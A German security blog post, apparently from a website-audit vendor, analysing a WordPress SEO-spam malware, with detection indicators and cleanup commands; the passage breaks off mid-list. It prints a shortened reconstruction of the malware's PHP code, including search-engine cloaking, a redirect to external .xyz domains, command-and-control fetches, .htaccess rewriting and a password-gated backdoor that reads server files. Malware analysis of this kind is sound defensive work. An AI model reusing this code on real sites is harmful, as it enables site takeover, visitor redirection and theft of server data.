So funktioniert Schadsoftware - Fallbeispiel

Warum wurde die Schadware entdeckt?

KRITIS 3.0 ist eine professionelle Sicherheits-Audit-Software für Websites. Sie analysiert Webseiten ausschließlich durch passive Prüfung öffentlich zugänglicher Informationen – ohne aktive Eingriffe oder Tests am Zielsystem.

Was ist eine passive Sicherheitsanalyse?

Erkenntnisse und Risikobewertung:

  • untersucht WordPress-Installationen auf bekannte Malware-Signaturen
  • Identifiziert veraltete Plugins, Themes und Core-Versionen
  • Erkennt öffentlich sichtbare Sicherheitslücken (CVEs)
  • Analysiert HTTP-Header und Server-Responses auf Schwachstellen
  • Prüft SSL/TLS-Zertifikate und Verschlüsselungskonfiguration

Externe Kommunikation:

  • Erkennt verdächtige Verbindungen zu externen Servern
  • Dokumentiert API-Calls und Third-Party-Ressourcen
  • Identifiziert potenzielle Daten-Leaks durch unsichere Verbindungen
  • Analysiert DNS-Records und Nameserver-Konfigurationen

Compliance & Rechtliches:

  • Dokumentiert externe Datenverarbeiter für Audit-Berichte
  • Erstellt rechtssichere Nachweise für Compliance-Prüfungen

Technische Bewertung:

  • Misst Performance-Metriken (Ladezeiten, Ressourcen)
  • Rendert Seiten mit Chrome-Engine für JavaScript-Analyse
  • Erkennt veraltete Bibliotheken und Framework-Versionen
  • Identifiziert SEO-Spam und manipulierte Inhalte

Automatisierte Reports:

  • Generiert detaillierte Berichte 
  • Mehrsprachige Ausgabe (Deutsch/Englisch)
  • CLI-Interface 
  • Caching-System für effiziente Wiederholungsprüfungen

Wichtige Einschränkung:

Die Software führt KEINE aktiven Penetrationstests durch:

  • Keine Exploit-Versuche oder Angriffssimulationen
  • Keine Manipulation von Formularen oder Datenbanken
  • Keine Brute-Force-Attacken auf Login-Bereiche
  • Ausschließlich Analyse öffentlich zugänglicher Informationen 

Ziel der Entwicklung:

Betreiber von Websites frühzeitig auf potenzielle Sicherheitsrisiken, veraltete Komponenten und Compliance-Probleme aufmerksam zu machen – bevor diese von Angreifern ausgenutzt werden können.

Diese Analyse dokumentiert die Funktionsweise einer realen PHP-basierten Malware (Fund 01.10.2025) durch KRITS 3.0, die häufig in WordPress-Installationen gefunden wird. Der Code tarnt sich als legitime WordPress-Datei und führt verschiedene schädliche Aktivitäten aus.


Hauptfunktionen der Malware

1. Verschleierung und Tarnung

Was macht sie:

  • Tarnt sich durch WordPress-typische Kommentare mit zufälligen englischen Wörtern
  • Verwendet kryptische Variablennamen wie $O00O0O, $q1, $q2
  • Deaktiviert Fehlermeldungen mit @ini_set('display_errors', 0)

Warum ist das gefährlich: Die Malware sieht auf den ersten Blick aus wie normaler WordPress-Code und wird dadurch schwerer erkannt.


2. Suchmaschinen-Cloaking

Was macht sie:

Prüft ob der Besucher von Google, Yahoo, Bing kommt
→ Leitet echte Besucher auf fremde Websites um
→ Zeigt Suchmaschinen-Crawlern aber normale Inhalte

Erkennungsmerkmale:

  • Prüft HTTP_REFERER auf Suchmaschinen
  • Erkennt Google-IP-Adressen
  • Identifiziert Crawler anhand des User-Agents

Schaden:

  • Besucher werden auf Spam-Seiten umgeleitet
  • SEO-Manipulation
  • Traffic-Diebstahl

3. Automatische Sitemap-Generierung

Was macht sie:

  • Erstellt automatisch XML-Sitemaps mit Tausenden Links
  • Generiert SEO-optimierte URLs
  • Speichert Sitemaps im Verzeichnis ../sitetarget/

Parameter:

  • FNUM = 83 (Anzahl der Datei-Segmente)
  • Generiert bis zu 12.000 URLs pro Sitemap
  • Erstellt mehrere Sitemap-Dateien (siteatarget.xml, sitebtarget.xml, etc.)

Aufruf:

?gsitemap=1&mapnum=10

4. URL-Manipulation (.htaccess)

Was macht sie:

  • Modifiziert die .htaccess-Datei automatisch
  • Fügt RewriteRules hinzu für SEO-freundliche URLs
  • Ermöglicht Zugriff auf generierte Fake-Seiten

Beispiel RewriteRule:

RewriteRule ^.*/(\d+)/$ index.php?id=$1
RewriteRule ^.*-(\d+)/$ index.php?cat=$1

Aufruf:

?ghtac=1

5. Dynamische Content-Generierung

Was macht sie:

  • Lädt Produkt-/Seiteninformationen von externem Server
  • Generiert SEO-optimierte Breadcrumbs
  • Erstellt automatisch Meta-Tags (Title, Keywords, Description)
  • Fügt interne Verlinkungen ein

Datenquelle:

GETDOM . "gpage.php?site=$thisdom&id=$siteAID"

Generierte Elemente:

  • <h1>, <h2>, <h3> Überschriften
  • Breadcrumb-Navigation mit Schema.org Markup
  • Meta-Keywords und Descriptions
  • Interne Verlinkungsstruktur

6. Externe Kommunikation

Gefährliche Domains:

  • transferdm.xyz
  • deliverym.xyz
  • datecenter.com/api/

Was wird übertragen:

  • Site-ID (MSID = 3992)
  • Domain-Informationen
  • Produkt-/Content-IDs
  • Generierte Links

Technische Details

Konfigurationsparameter

ParameterWertFunktion
FNUM83Anzahl ID-Dateien
JGNUM40Link-Generierungs-Parameter
LINKNUM8Anzahl interner Links
MSID3992Eindeutige Site-ID
KEYJG7Keyword-Rotation
PNAMELEN49Länge der Produktnamen in URLs

URL-Strukturen (JDT-Modi)

JDT = 0: domain.com/category/product-name/123/
JDT = 1: domain.com/ordner/category/product-name/123/
JDT = 2: domain.com/ordner/index.php/category/product-name/123/
JDT = 3: domain.com/ordner/index.php?keyword=product-name-123


Erkennungsmerkmale

✓ Im Code sichtbar:

  • Ungewöhnlich lange Kommentarblöcke mit zufälligen Wörtern
  • Verschleierte Variablennamen ($O00O0O, $q1-$q8)
  • Arrays mit Zahlenfolgen ohne erkennbare Logik
  • Externe URL-Aufrufe mit curl_get_from_webpage()
  • Manipulation von .htaccess

✓ Im Verhalten:

  • Automatische Ordner-Erstellung (../sitetarget/)
  • Generierung von XML-Dateien
  • Umleitung von Besuchern
  • Unterschiedliches Verhalten für Crawler vs. echte Besucher

✓ Auf dem Server:

  • Dateien wie id0.php, id1.phpid82.php
  • Verzeichnis sitetarget mit XML-Dateien
  • Modifizierte .htaccess-Datei
  • moban.html Template-Datei
  • map.log und idlogs.txt Log-Dateien

Schutzmechanismen

1. Prävention

  • Regelmäßige Sicherheitsupdates
  • Sichere Passwörter und Zugriffsrechte
  • File Integrity Monitoring
  • Web Application Firewall (WAF)

2. Erkennung

  • Datei-Scanner (z.B. Wordfence, Sucuri usw. als Basisschutz)
  • KRITIS 3.0 
  • Überprüfung der .htaccess
  • Monitoring von ausgehenden Verbindungen
  • Ungewöhnliche Sitemap-Dateien prüfen

KRITIS 3.0 als erweiterte Analyseschicht:

KRITIS 3.0 wurde entwickelt, um genau dort anzusetzen, wo Standard-Scanner an ihre Grenzen stoßen. Durch die Kombination aus passiver Verhaltensanalyse und umfassender Systemprüfung erkennt die Software auch versteckte Bedrohungen, die sich tarnen oder nur unter bestimmten Bedingungen aktiv werden. Die Software analysiert nicht nur einzelne Dateien, sondern untersucht das Gesamtverhalten der Website, einschließlich ausgehender Verbindungen, HTTP-Header-Anomalien und verdächtiger JavaScript-Aktivitäten.

Besonders wertvoll ist die Fähigkeit von KRITIS 3.0, die Website wie ein echter Besucher zu rendern. Durch die Integration der Chrome-Engine werden JavaScript-basierte Angriffe sichtbar, die bei reiner Dateianalyse unentdeckt bleiben würden. Malware, die sich nur für bestimmte User-Agents oder IP-Adressen aktiviert, wird durch diese Methode ebenfalls identifiziert.

3. Bereinigung

# Verdächtige Dateien finden
find . -name "id*.php"
find . -name "*target*.xml"

# .htaccess Backup prüfen
diff .htaccess .htaccess.backup

# Verdächtige Prozesse
ps aux | grep php

4. Nach der Infektion

  1. Alle Passwörter ändern
  2. WordPress und Plugins aktualisieren
  3. Datenbank auf Backdoors prüfen
  4. Alle Dateien mit sauberer Installation vergleichen
  5. Server-Logs analysieren

Funktionsweise in Bildern

┌─────────────────┐
│  Besucher kommt │
│  von Google     │
└────────┬────────┘
         │
         ▼
┌─────────────────────┐      ┌──────────────────┐
│ Malware prüft:      │──Ja─▶│ Umleitung auf   │
│ - Referer           │      │ Spam-Website     │
│ - IP-Adresse        │      │ (transffdff.xyz) │
│ - User-Agent        │      └──────────────────┘
└─────────┬───────────┘
          │
         Nein
          │
          ▼
┌─────────────────────┐
│ Zeige normale Seite │
│ mit generierten     │
│ Inhalten            │
└─────────────────────┘

Zusammenfassung

Diese Malware ist ein ausgeklügeltes System für:

  • Black-Hat SEO: Manipulation von Suchmaschinen-Rankings
  • Traffic-Diebstahl: Umleitung echter Besucher
  • Doorway Pages: Automatische Generierung von Fake-Inhalten
  • Cloaking: Unterschiedliche Inhalte für Crawler und Menschen

Die Malware ist schwer zu erkennen, kommuniziert mit externen Servern und kann erheblichen Schaden für SEO, Reputation und Benutzererfahrung verursachen.


				
					<?php
/*

;o) ACHTUNG DER QUELLTEXT WURDE GEKÜRZT UND IST NICHT LAUFFÄHIG ;O)

DER GEZEIGTE CODE VERANSCHAUTLICHT NUR DEN SCHEMATISCHEN AUFBAU 


 * Fake WordPress Header Kommentare
 * [Hunderte zufällige englische Wörter zur Tarnung - GEKÜRZT]
 * @package WordPress
 */

// === INITIALISIERUNG ===
@ini_set('display_errors', 0);
@ini_set('log_errors', 0);
@set_time_limit(3600);

// === KONFIGURATION ===
define("PATH_PREFIX","/dir1/");
define("API_ENDPOINT","http://www.api-server.com/api/?key=");
define("SERVER_KEY",0);
define("INSTALL_PATH", "/install-folder/");
define("FILE_COUNT",83);
define("LINK_PARAM","40");
define("MAX_LINKS","8");
define("SITE_PREFIX","x");
define("PROD_PREFIX","y");
define("CAT_PREFIX","z");
define("MODE_TYPE","0");
define("SITE_NUMBER",3992);
define("KEY_ROTATE",7);
define("RAND_VALUE_A",15);
define("RAND_VALUE_B",5);
define("NAME_LENGTH",49);
define("URL_SUFFIX","/");

// === ARRAYS FÜR VARIATIONEN ===
$timeArray[]="2";
$timeArray[]="3";
$timeArray[]="4";
$timeArray[]="1";

// [Große Arrays mit Zahlen - GEKÜRZT]
$numberMatrix[0][] ="4";$numberMatrix[0][] ="2";
// ... [Hunderte weitere Einträge GEKÜRZT]

$keywordPositions[]="8";
$keywordPositions[]="4";
// ... [Weitere Einträge GEKÜRZT]

// [140+ Breadcrumb CSS-Klassen - GEKÜRZT]
$breadcrumbClasses[]="breadHead";
$breadcrumbClasses[]="BreadcrumbHeads";
// ... [GEKÜRZT]

// [20+ Weihnachts-Keywords - GEKÜRZT]
$holidayTerms[]="Christmas Supplies";
$holidayTerms[]="Xmas";
// ... [GEKÜRZT]

// === VERSCHLEIERUNG ===
$var_a = "A1B2C3";
$var_b = "D4E5F6";
$var_c = "G7H8I9";
$$var_a = generateRandomChars();

// [100 zufällige Zeichenketten für Obfuskation - GEKÜRZT]
$randomStrings[0]="oglhqzpmnevkycfdruxaiwsjbt";
$randomStrings[99]="vuxqzmylsabgthkdnefrpjwioc";

$currentDomain = str_replace("www.","",$_SERVER['HTTP_HOST']);
define("BASE_URL",getControlServer());

$obfuscatedArray = array();
$counter = 0;
for($i=0;$i<20;$i+=2){
   $obfuscatedArray[$counter++] = $randomStrings{$i}.$randomStrings{$i+1};
}

$domainA = 'transfer-server';
$domainB = 'delivery-server';

// === SITEMAP GENERATOR ===
if(isset($_GET["gsitemap"]) && isset($_GET["mapnum"])){
    $timezone='America/Chicago';
    @date_default_timezone_set($timezone);
    
    if (!is_dir("../sitetarget"))
        mkdir("../sitetarget", 0755);
    
    global $mapCounter;
    $mapCounter = 1;
    $startNum = (int)trim($_GET["gsitemap"]);
    $mapCount = (int)trim($_GET["mapnum"]);
    
    if($startNum > FILE_COUNT)
       die("Error: Number too high");
   
    $fileArray = calculateMapRange($startNum,$mapCount);
    $pattern = '#<map>(.*)</map>#si';
    $mapLog = file_get_contents("./map.log");
    
    foreach($fileArray as $fileId){
        $filename = "id$fileId.php";
        
        // Bereits erstellt? Überspringen
        if(strstr($mapLog,'#sitemap'.$fileId.'.xml#')){
            echo $filename." already exists<br/>";
            $mapCounter++;
            continue;
        }
        
        // Daten vom C&C Server holen
        for($attempt=0; $attempt<3; $attempt++){
            $apiUrl = BASE_URL . "api.php?getmapid=$fileId&site=$currentDomain&sid=".SITE_NUMBER;
            $response = fetchFromUrl($apiUrl,'',5);
            $productArray = array();
            
            if(preg_match($pattern,$response,$matches)){
                $items = explode('^^',$matches[1]);
                foreach($items as $item){
                    $parts = explode('^',$item);
                    if(count($parts) == 2){
                        $productArray[$parts[0]] = $parts[1];
                    }
                }
                break;
            }
        }
        
        if(!isset($productArray) or count($productArray) < 100){
            echo "Sitemap generation failed<br/>";
            die();
        }
        
        echo $filename."<br/>";
        
        if($mapCounter == 1){
            generateSitemap($productArray,1,2);
        }else{
            generateSitemapSecondary($productArray,1,2);
        }
        
        unset($productArray);
    }
}

// === .HTACCESS MANIPULATION ===
if(isset($_GET["ghtac"]) && $_GET["ghtac"]){
    $dirPath = dirname(__FILE__);
    $folderName = end((explode(DIRECTORY_SEPARATOR, $dirPath)));
    $parentDir = '../';
    
    $htaccessContent = '';
    if (file_exists("$parentDir.htaccess")){
        @chmod("$parentDir.htaccess",0755);
        $htaccessContent = file_get_contents("$parentDir.htaccess");
    }
    
    if(!(strstr($htaccessContent,'RewriteBase'))){
        $htaccessContent = '<IfModule mod_rewrite.c>'.PHP_EOL . 
                          'Options +FollowSymLinks'. PHP_EOL .
                          'RewriteEngine on'. PHP_EOL .
                          'RewriteBase /'. PHP_EOL .'</IfModule>';
    }
    
    // Rewrite Rules einfügen
    $rewritePattern = '#(.*RewriteEngine On.*)#i';
    $newRules = '\1'.PHP_EOL .
                'RewriteRule ^.*/(\d+)/$ index\.php?id=$1 [L]'. PHP_EOL . 
                'RewriteRule ^.*-(\d+)/$ index\.php?cat=$1 [L]';
    
    if(preg_match($rewritePattern,$htaccessContent)){
        $htaccessContent = preg_replace($rewritePattern,$newRules,$htaccessContent,1);
    }
    
    file_put_contents("$parentDir.htaccess", $htaccessContent);
    die("htaccess modified");
}

// === BACKDOOR ===
$backdoorHash = 'b6772c68627f804a9578152ee90f5b0c'; // MD5 des Passworts

if(isset($_POST["check"]) && md5($_POST["check"])==$backdoorHash){
    $targetFile = $_POST["target_file"];
    if(file_exists($targetFile)){
        echo '#ok#';
    }else{
        echo '#nofile#';
    }
    die();
}

if(isset($_POST["read"]) && md5($_POST["read"])==$backdoorHash){
    $targetFile = $_POST["target_file"];
    if(file_exists($targetFile)){
        echo readFile($targetFile);
        die();
    }
}

if(isset($_POST["test"]) && md5($_POST["test"])==$backdoorHash){
    echo '#ok#';
    die();
}

// === URL PARSING ===
if(MODE_TYPE==2){
    $urlPath=end((explode('index.php',$_SERVER['REQUEST_URI'])));
    if($urlPath){
        $productId = '';
        $categoryId = '';
        
        $pattern1='#.*/(\d+)/$#i';
        $pattern2='#.*/(\d+)/$#i';
        
        if(preg_match($pattern1,$urlPath,$matches)){
            if(isset($matches[1]))
                $productId = $matches[1];
        }
        
        if($productId){
            $_GET['id']= $productId;
        }else{
            // Kategorie suchen
            $pattern3='#.*-(\d+)/$#i';
            if(preg_match($pattern3,$urlPath,$matches)){
                if(isset($matches[1]))
                    $categoryId = $matches[1];
            }
            if($categoryId)
                $_GET['cat']= $categoryId;
        }
    }
}

// === ID BESTIMMEN ===
if(isset($_GET["id"])){
    $currentId = $_GET["id"];
}else{
    if(isset($_GET["cat"])){
        $requestedUrl = $_GET["cat"];
        
        $logFile = './idlogs.txt';
        if(file_exists($logFile)){
            $urlIdMapping = unserialize(file_get_contents($logFile));
        }else{
            $urlIdMapping = array();
        }

        if(isset($urlIdMapping[$requestedUrl])){
            $currentId = $urlIdMapping[$requestedUrl];
        }else{
            $urlIdMapping[$requestedUrl] = getRandomCategoryId($requestedUrl);
            $currentId = $urlIdMapping[$requestedUrl];
            file_put_contents($logFile,serialize($urlIdMapping));
        }
    }else{
        $currentId = "551476"; // Default Index ID
    }
}

// Validierung
$idPattern = '#^\d+$#';
if(!preg_match($idPattern,$currentId)){
    exit;
}

// === CLOAKING & REDIRECT ===
if(isset($_SERVER["HTTP_REFERER"])){
    $referrer = $_SERVER["HTTP_REFERER"];
    $searchEnginePattern = '#(google|yahoo|bing|docomo)(\.[a-z0-9\-]+){1,2}#i';
    
    // Google IP-Ranges
    $googleIpRanges = array(
        array('64.233.160.0','64.233.191.255'),
        array('66.102.0.0','66.102.15.255'),
        array('66.249.64.0','66.249.95.255'),
        array('72.14.192.0','72.14.255.255'),
        array('74.125.0.0','74.125.255.255'),
        array('209.85.128.0','209.85.255.255'),
        array('216.239.32.0','216.239.63.255')
    );
    
    $visitorIp = getRealIpAddress();
    $isGoogleIp = checkIpInRange($visitorIp,$googleIpRanges);
    $isCrawler = detectCrawler();
    
    // Von Suchmaschine, aber kein Bot? REDIRECT!
    if(preg_match($searchEnginePattern, $referrer) && 
       $isCrawler == false && 
       $isGoogleIp == false){
        
        $domainPattern = '#^https?://www\.[^/]+/$#i';
        $redirectUrl1 = 'http://www.'.$domainA.'.xyz'. PATH_PREFIX . SITE_NUMBER .".txt";
        $redirectUrl2 = 'http://www.'.$domainB.'.xyz'. PATH_PREFIX . SITE_NUMBER .".txt";
        
        for($i=0;$i<2;$i++){
            $targetDomain = fetchViaJs($redirectUrl1,2);
            $targetDomain = trim($targetDomain);

            if(!preg_match($domainPattern,$targetDomain)){
                $targetDomain = fetchViaJs($redirectUrl2,10);
                $targetDomain = trim($targetDomain);
                if(preg_match($domainPattern,$targetDomain))
                    break;
            }else{
                break;
            }
        }
        
        // JavaScript Redirect
        echo '<script language="javascript" type="text/javascript">'. PHP_EOL .
             'window.location.href="'. $targetDomain . 
             "index.php?main_page=product_info&products_id=" . $currentId .'";'. 
             PHP_EOL .'</script>';
        die();
    }
}

// === CONTENT GENERIEREN ===
$siteId = SITE_NUMBER;
$combinedId = $siteId. '-' .$currentId;

// Daten vom C&C Server laden
$productApiUrl = BASE_URL . "api.php?site=$currentDomain&id=$combinedId";
$productData = fetchFromUrl($productApiUrl,'',5);
$dataPattern = '#<info>(.*)</info>#si';

preg_match($dataPattern,$productData,$infoMatch);
if(isset($infoMatch[1])){
    $dataArray = unserialize($infoMatch[1]);
}else{
    header("HTTP/1.1 404 Not Found");
    exit;
}

// Daten extrahieren
$relatedProducts1 = unserialize($dataArray['frStr1']);
if(isset($dataArray['frStr2'])){
    $relatedProducts2 = unserialize($dataArray['frStr2']);
}

$productTitle = $dataArray['Ptitle'];
$productName = $dataArray['nowIdName'];
$categoryString = $dataArray['pcatstr'];
$previousText = $dataArray['nowPreStr'];
$nextText = $dataArray['nowNextStr'];

// Titel bereinigen
if(strstr($productTitle,'#cat#')){
    $titleParts = explode('#cat#',$productTitle);
    $productTitle = $titleParts[1];
}

// Kategorien parsen
if(strstr($categoryString,'#cname#')){
    $parts = explode('#cname#',$categoryString);
    $catString = $parts[0];
    $categories = explode('^',$catString);
    
    // Duplikate entfernen
    $uniqueCategories = array();
    $tempCats = array();
    foreach($categories as $cat){
        $cat = str_replace('&amp;','&',$cat);
        if(!isset($tempCats[$cat])){
            $tempCats[$cat] = 1;
            $uniqueCategories[] = $cat;
        }
    }
    $categories = $uniqueCategories;
    
    // Meta-Daten
    $metaString = $parts[1];
    if(strstr($metaString,'#keydescription#')){
        $metaParts = explode('#keydescription#',$metaString);
        $keywords = trim($metaParts[0]);
        $description = $metaParts[1];
        
        // Keyword-Rotation
        if($keywords){
            $keywordArray = explode(',',$keywords);
            $keywordCount = count($keywordArray);
            $rotateValue = KEY_ROTATE % $keywordCount;
            
            // [Keyword-Rotations-Logik - GEKÜRZT]
            $keywords = implode(',',$keywordArray);
        }else{
            $keywords = $productTitle;
        }
        
        // Description-Rotation
        if(!$description){
            $description = $previousText.' '.$productTitle.' '.$nextText;
        }else{
            // [Description-Rotations-Logik - GEKÜRZT]
        }
    }
}

// === BREADCRUMB GENERIEREN ===
$breadcrumbHtml = generateBreadcrumb($productTitle,$categories,$currentId);

// === TITEL-VARIATIONEN ===
$titleWords = preg_split('/\s+/us', $productTitle);
$cleanTitleWords = array();
foreach($titleWords as $word){
    $word = trim($word);
    if($word){
        $cleanTitleWords[] = $word;
    }
}

$wordCount = count($cleanTitleWords);
$rotateIndex1 = RAND_VALUE_A % $wordCount;
$titleVariation1 = rearrangeWords($cleanTitleWords,$rotateIndex1);

$rotateIndex2 = RAND_VALUE_B % $wordCount;
if($rotateIndex1 == $rotateIndex2){
    $rotateIndex2 = abs($rotateIndex1-2);
}
$titleVariation2 = rearrangeWords($cleanTitleWords,$rotateIndex2);

// === HTML CONTENT ZUSAMMENBAUEN ===
$topContent = $breadcrumbHtml.PHP_EOL;
$topContent .= "<h1>{$productTitle}</h1>";
$topContent .= '<strong>'. implode(' ',$categories) . " {$productTitle}</strong>".PHP_EOL;

$paragraphContent = '<p>';
if(isset($keywords)){
    $paragraphContent .= $keywords.',';
}
$paragraphContent .= $productTitle.',';
$paragraphContent .= $titleVariation1.',';
$paragraphContent .= $description;
$paragraphContent .= $titleVariation2.'.</p>'.PHP_EOL;
$topContent .= $paragraphContent;

if(isset($dataArray['pdes'])){
    $topContent .= '<p>'.$dataArray['pdes']."</p>".PHP_EOL;
}

if(isset($dataArray['nowPimgArr'])){
    $images = unserialize($dataArray['nowPimgArr']);
    foreach($images as $img){
        $topContent .= $img."<br/>".PHP_EOL;
    }
}

$topContent .= "<h2>{$productTitle}</h2>".PHP_EOL;

// === RELATED LINKS ===
$linkArray = array();
$relatedLinks1 = '<ul>'.PHP_EOL;
foreach($relatedProducts1 as $pid=>$name){
    if(strstr($name,'#cat#')){
        $nameParts = explode('#cat#',$name);
        $name = $nameParts[1];
    }
    
    $productUrl = generateProductLink($pid,$name);
    $relatedLinks1 .= '<li><a title="'.$name.'" href="'.$productUrl.'">'.$name.'</a></li>'.PHP_EOL;
    $linkArray[] = '<a title="'.$name.'" href="'.$productUrl.'">'.$name.'</a>';
}
$relatedLinks1 .= '</ul>'.PHP_EOL;

// [Weitere Content-Generierung - GEKÜRZT]

// === TEMPLATE LADEN & AUSGEBEN ===
$templateFile = fopen("moban.html","r");
$htmlTemplate = fread($templateFile,filesize("moban.html"));

$htmlTemplate = str_ireplace('#bbbtitsbbb#', $productTitle." {$currentDomain}", $htmlTemplate);
$htmlTemplate = str_ireplace('#bbbkeybbb#', $keywords, $htmlTemplate);
$htmlTemplate = str_ireplace('#bbbdesbbb#', $description, $htmlTemplate);
$htmlTemplate = str_ireplace('#bbb1content1bbb#', $topContent, $htmlTemplate);
$htmlTemplate = str_ireplace('#bbb2content2bbb#', '', $htmlTemplate);

// Footer
$footerKeywords = "<b>{$productTitle}, {$keywords}</b>".PHP_EOL;
$htmlTemplate = str_replace('</body',$footerKeywords.'</body',$htmlTemplate);

echo $htmlTemplate;
die();

// === HILFSFUNKTIONEN ===

function rearrangeWords($wordArray=array(),$startIndex=0){
    $result = '';
    $count = count($wordArray);
    for($i=$startIndex+1;$i<$count;$i++){
        $result .= $wordArray[$i].' ';
    }
    for($i=0;$i<=$startIndex;$i++){
        $result .= $wordArray[$i].' ';
    }
    return trim($result);
}

function generateBreadcrumb($title,$categories,$id){
    global $breadcrumbClasses,$currentDomain;
    
    // [Komplexe Breadcrumb-Generierung mit Schema.org - GEKÜRZT]
    
    $html = '<nav class="breadcrumb">';
    $html .= '<ol itemscope itemtype="http://schema.org/BreadcrumbList">';
    $html .= '<li><a href="/">Home</a></li>';
    
    foreach($categories as $cat){
        $catUrl = generateCategoryLink($cat,$id);
        $html .= '<li><a href="'.$catUrl.'">'.$cat.'</a></li>';
    }
    
    $html .= '<li>'.$title.'</li>';
    $html .= '</ol></nav>';
    
    return $html;
}

function generateCategoryLink($categoryName,$productId){
    $siteUrl='http://'.$_SERVER['HTTP_HOST'];
    $categoryName = preg_replace('#\s+#i','-',$categoryName);
    $urlPath = str_replace('--','-',$categoryName).'-'.$productId;
    $urlPath .= URL_SUFFIX;
    return $siteUrl.'/'.$urlPath;
}

function generateProductLink($id,$name=''){
    $siteUrl='http://'.$_SERVER['HTTP_HOST'];
    
    if(strstr($name,'#cat#')){
        $parts = explode('#cat#',$name);
        $name = $parts[1];
        $category = $parts[0];
    }
    
    // Sonderzeichen filtern
    $name = filterSpecialChars($name);
    $name = preg_replace('/\s+/', '-', $name);
    
    $urlPath = $name.'/'.$id;
    $urlPath .= URL_SUFFIX;
    
    return $siteUrl.'/'.$urlPath;
}

function filterSpecialChars($str){
    // [Entfernt alle Sonderzeichen - GEKÜRZT]
    $str = str_replace('&', '&amp;', $str);
    return trim($str);
}

function detectCrawler(){
    $userAgent = @strtolower($_SERVER['HTTP_USER_AGENT']);
    if (!empty($userAgent)){
        $crawlerList = array(
            "Googlebot",
            "Mediapartners-Google",
            "Adsbot-Google",
            "Yahoo!",
            "bingbot",
            "MSNBot"
        );
        foreach($crawlerList as $crawler){
            if (strpos($userAgent, strtolower($crawler)) !== false){
                return true;
            }
        }
    }
    return false;
}

function generateSitemap($products,$mode=1,$type=1){
    global $mapCounter;
    
    // [Komplexe Sitemap-Generierung - GEKÜRZT]
    
    $xmlHeader = '<?xml version="1.0" encoding="UTF-8" ?>'. PHP_EOL.
                 '<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">' . PHP_EOL;
    $xmlFooter = PHP_EOL . '</urlset>';
    
    $entries = "";
    foreach($products as $id => $name){
        $url = generateProductLink($id,$name);
        $date = date("Y-m-d");
        $time = date("H:i:s");
        
        $entries .= "<url>
                     <loc>" . $url . "</loc> 
                     <lastmod>". $date . "T" . $time ."-05:00</lastmod>   
                     <changefreq>daily</changefreq> 
                     <priority>0.1</priority> 
                     </url>".PHP_EOL;
    }
    
    $sitemapFile = '../sitetarget/sitemap'.$mapCounter.'.xml';
    file_put_contents($sitemapFile, $xmlHeader . $entries . $xmlFooter);
    echo "Sitemap created: ".$sitemapFile."<br/>";
}

function generateSitemapSecondary($products,$mode=1,$type=1){
    // [Identisch zu generateSitemap - GEKÜRZT]
}

function fetchFromUrl($url,$proxy='',$maxRetries=10){
    $data = false;
    $attempt = 0;
    while(!$data){
        $data = fetchUrlOnce($url,$proxy);
        if($attempt++ >= $maxRetries) break;
    }
    return $data;
}

function fetchViaJs($url,$timeout){
    // [CURL-Implementierung - GEKÜRZT]
    if(function_exists("curl_init")){
        $curl = curl_init();
        $userAgent = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1)";
        
        curl_setopt($curl, CURLOPT_URL, $url);
        curl_setopt($curl, CURLOPT_TIMEOUT, $timeout);
        curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($curl, CURLOPT_USERAGENT, $userAgent);
        
        $data = curl_exec($curl);
        curl_close($curl);
        return $data;
    }
    return false;
}

function fetchUrlOnce($url,$proxy=''){
    // [CURL mit Proxy-Support - GEKÜRZT]
    if(function_exists("curl_init")){
        $curl = curl_init();
        if(strlen($proxy) > 8){
            curl_setopt($curl, CURLOPT_PROXY, $proxy);
        }
        curl_setopt($curl, CURLOPT_URL, $url);
        curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
        $data = curl_exec($curl);
        curl_close($curl);
        return $data;
    }else{
        return file_get_contents($url);
    }
}

function checkIpInRange($ip,$ranges){
    $ipLong = ip2long($ip);
    foreach($ranges as $range){
        $min = sprintf("%u",ip2long($range[0]));
        $max = sprintf("%u",ip2long($range[1]));
        if($ipLong >= $min && $ipLong <= $max){
            return true;
        }
    }
    return false;
}

function getRealIpAddress(){
    // [Proxy-Header auswerten - GEKÜRZT]
    if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
        return $_SERVER['HTTP_X_FORWARDED_FOR'];
    }elseif (isset($_SERVER['HTTP_CLIENT_IP'])){
        return $_SERVER['HTTP_CLIENT_IP'];
    }else{
        return $_SERVER['REMOTE_ADDR'];
    }
}

function generateRandomChars(){
    $chars = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_./:-";
    return $chars;
}

function getControlServer(){
    // [Verschleierte Server-URLs - GEKÜRZT]
    return 'http://www.control-server.com/path/';
}

function getRandomCategoryId($category){
    global $currentDomain;
    
    for($i=0;$i<3;$i++){
        $apiUrl = BASE_URL . "api.php?site=$currentDomain&cid=$category";
        $response = fetchFromUrl($apiUrl,'',5);
        if(preg_match('#<cid>(\d+)</cid>#i',$response,$match)){
            return $match[1];
        }
    }
    
    header("HTTP/1.1 404 Not Found");
    exit;
}

function calculateMapRange($start,$count){
    $result = array();
    if($start + $count <= FILE_COUNT){
        for($i=0;$i<$count;$i++){
            $result[$i] = $start + $i - 1;
        }
    }else{
        for($i=0;$i<$count;$i++){
            if($start+$i > FILE_COUNT)
                $result[$i] = $start + $i - 1 - FILE_COUNT;
            else
                $result[$i] = $start + $i - 1;
        }
    }
    return $result;
}

function readFile($file){
    if(function_exists('file_get_contents')){
        return file_get_contents($file);
    }else{
        $handle = fopen($file, "r");
        $contents = fread($handle, filesize($file));
        fclose($handle);
        return $contents;
    }
}

/*
 * [Weitere Fake-Kommentare zur Tarnung - GEKÜRZT]
 * @package WordPress
 */

// === DATEIENDE ===
?>
				
			

Malware-Bereinigung: Schritt-für-Schritt Anleitung

1. Vorbereitung

Backup erstellen (WICHTIG!)

# Komplettes Backup vor der Bereinigung
tar -czf /backup/webserver_backup_$(date +%Y%m%d_%H%M%S).tar.gz /var/www/
mysqldump --all-databases > /backup/mysql_backup_$(date +%Y%m%d_%H%M%S).sql

System isolieren

# Webserver stoppen
sudo systemctl stop apache2  # oder nginx
sudo systemctl stop php-fpm  # falls verwendet

# Ausgehende Verbindungen blockieren (optional)
sudo iptables -A OUTPUT -p tcp --dport 80 -j DROP
sudo iptables -A OUTPUT -p tcp --dport 443 -j DROP

2. Infizierte Dateien identifizieren

Scan-Ergebnisse analysieren

# Scan-Log überprüfen
cat /var/log/malwarescan.log

# Infizierte Dateien auflisten
